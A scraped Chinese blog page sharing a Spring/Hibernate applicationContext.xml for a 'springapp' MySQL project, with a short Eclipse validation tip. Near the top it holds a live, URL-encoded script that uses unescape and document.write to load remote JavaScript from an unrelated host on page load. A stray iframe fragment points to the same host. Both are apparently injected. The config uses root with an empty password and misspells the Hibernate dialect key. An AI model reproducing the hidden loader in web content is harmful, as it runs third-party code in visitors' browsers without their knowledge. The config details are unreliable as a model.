springap

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
springap


l



<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "
http://www.springframework.org/dtd/spring-beans.dtd
"><!--  - Application context definition for "springapp" DispatcherServlet.  -->
<beans>
 <bean id="dataSource"
  class="org.apache.commons.dbcp.BasicDataSource"
  destroy-method="close">
  <property name="driverClassName">
   <value>com.mysql.jdbc.Driver</value>
  </property>
  <property name="url">
   <value>jdbc:mysql://localhost/testdb</value>
  </property>
  <property name="username">
   <value>root</value>
  </property>
  <property name="password">
   <value></value>
  </property>  
 </bean>
 
 <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
  <property name="dataSource">
   <ref local="dataSource"/>
  </property>
  <property name="mappingResources">
   <list>
    <value>com/etou/sys/vo/User.hbm.xml</value>
   </list>
  </property>
  <property name="hibernateProperties">
   <props>
    <prop key="hibernate.dialet">org.hibernate.dialect.MySQLDialect</prop>
    <prop key="hibernate.show_sql">true</prop>
   </props>
  </property>
 </bean>
 
 <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
  <property name="sessionFactory">
   <ref local="sessionFactory"/>
  </property>  
 </bean>
 
 <bean id="transInterceptorProxy" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean"
abstract="true"
>
  <property name="transactionManager">
   <ref local="transactionManager"/>
  </property>
  <property name="transactionAttributes">
   <props>
    <prop key="insert*">PROPAGATION_REQUIRED</prop>
    <prop key="update*">PROPAGATION_REQUIRED</prop>
    <prop key="save*">PROPAGATION_REQUIRED</prop>
    
    <prop key="get*">PROPAGATION_REQUIRED,readOnly</prop>
    <prop key="query*">PROPAGATION_REQUIRED,readOnly</prop>
    <prop key="search*">PROPAGATION_REQUIRED,readOnly</prop>
   </props>
  </property>
 </bean>
 
 <!--Begin of 设置Dao,其中的“userDao”需要替换为你自己表格对应的名字,实现类class值的全称也需要替换-->
 <bean id="UserDaoProxy" parent="transInterceptorProxy">
  <property name="target" ref="userDao"/>
 </bean>
 <bean id="userDao" class="com.etou.sys.dao.Userao">
  <property name="sessionFactory"><ref local="sessionFactory"/></property>  
 </bean>
 <!--End of 设置Dao************************-->
 <bean id="springappController" class="com.etou.framework.SpringappController" />
 <bean id="urlMapping" class="org.springframework.web.servlet.handler.SimpleUrlHandlerMapping">
  <property name="mappings">
   <props>
    <prop key="/hello.htm">springappController</prop>
   </props>
  </property>
 </bean>
</beans>
另外Eclipse对xml文件的校验似乎不太准确,暂时搞不懂怎么设置,关闭xml校验方法:window -〉Preference -〉Validation 右边窗口,去掉钩选 XML Schema Validator
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值